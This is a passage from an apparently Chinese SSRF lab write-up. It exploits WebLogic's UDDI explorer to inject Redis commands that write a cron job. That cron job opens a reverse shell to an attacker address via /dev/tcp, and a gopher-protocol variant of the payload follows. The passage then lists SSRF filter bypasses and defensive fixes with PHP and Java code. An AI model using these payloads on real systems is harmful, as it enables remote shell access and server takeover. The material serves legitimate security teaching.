config set dir /etc/ config set dbfilename crontab save ``` 进行url编码: ``` test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa ``` 注意,换行符是“\r\n”,也就是“%0D%0A”。 发送请求 ``` http://xxx.xxx.xxx.xxx:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.21.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa ``` ![](https://i.imgur.com/nOJCo2N.png) 查看Redis和`/etc/crontab`成功写入 ![](https://i.imgur.com/m465hOb.png) 反弹shell成功 ![](https://i.imgur.com/47LKioL.png) gopher协议payload ``` gopher://127.0.0.1:6379/_*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2415%0d%0a/var/spool/cron%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0awww%0d%0a%2455%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0d%0a*1%0d%0a%244%0d%0asave%0d%0a ``` 尝试gopher发现curl 7.19.7版本不支持,挺老的版本 ![](https://i.imgur.com/XRVW1i0.png) 不过我们还可以用dict协议来利用 http://www.cnblogs.com/iamstudy/articles/13th_cuit_game_wp_web300_ssrf.html ## 修复方案 * 限制协议为HTTP、HTTPS * 禁止30x跳转 * 设置URL白名单或者限制内网IP 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。 限制请求的端口为http常用的端口,比如,80,443,8080,8090。 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。 谈一谈如何在Python开发中拒绝SSRF漏洞 https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html PHP开发中防御SSRF https://www.jianshu.com/p/6ea9b8652d73 绕过方法 ``` 1. http://admin@127.0.0.1:80@www.baidu.com/ orange的SSRF议题中讲过这个,依赖lib_curl的版本。 2. 利用ipv6绕过,http://[::1]/ 3.  http://127.0.0.1./ ``` https://feei.cn/ssrf 根据漏洞原理,我们能很容易的推导出修复方案。 1. 既然其它协议那么危险,就禁止非HTTP[S]协议的使用(解决非HTTP[S]协议的高危害)。 1. 只允许HTTP[S]协议后还是能进行内网探测,所以需要对被请求的URL进行白名单限制。 1. 部分请求服务(Request Service)会默认开启301跳转,也就是说如果是一个HTTP[S]的请求,也可能跳转到非HTTP[S]的请求上,那就绕过了第一条的限制,所以我们需要关闭301跳转的支持。 php cUrl ```php= /** * Request service(Base cURL) * * @author Feei <wufeifei@wufeifei.com> * @link http://wufeifei.com/ssrf */ function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); /** * 1. 增加此行限制只能请求HTTP[S]的服务 * @link https://curl.haxx.se/libcurl/c/CURLOPT_PROTOCOLS.html */ curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); /** * 2. 增加此行禁止301跳转 * @link https://curl.haxx.se/libcurl/c/CURLOPT_FOLLOWLOCATION.html */ curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; /** * 3. 请求域名白名单 */ $white_list_urls = [ 'www.wufeifei.com', 'www.mogujie.com' ] if (in_array(parse_url($url)['host'], $white_list_urls)){ echo curl($url); } else { echo 'URL not allowed'; } ``` Java HttpURLConnection ```java= /** * 1. 限制允许HTTP[S]协议 */ if(!url.getProtocol().startsWith("http")) throw new Exception(); /** * 3. 请求域白名单 */ InetAddress inetAddress = InetAddress.getByName(url.getHost()); if(inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress()) throw new Exception(); HttpURLConnection conn = (HttpURLConnection)(url.openConnection()); /** * 2. 禁止301跳转 */ conn.setInstanceFollowRedirects(false); conn.connect(); IOUtils.copy(conn.getInputStream(), out); ```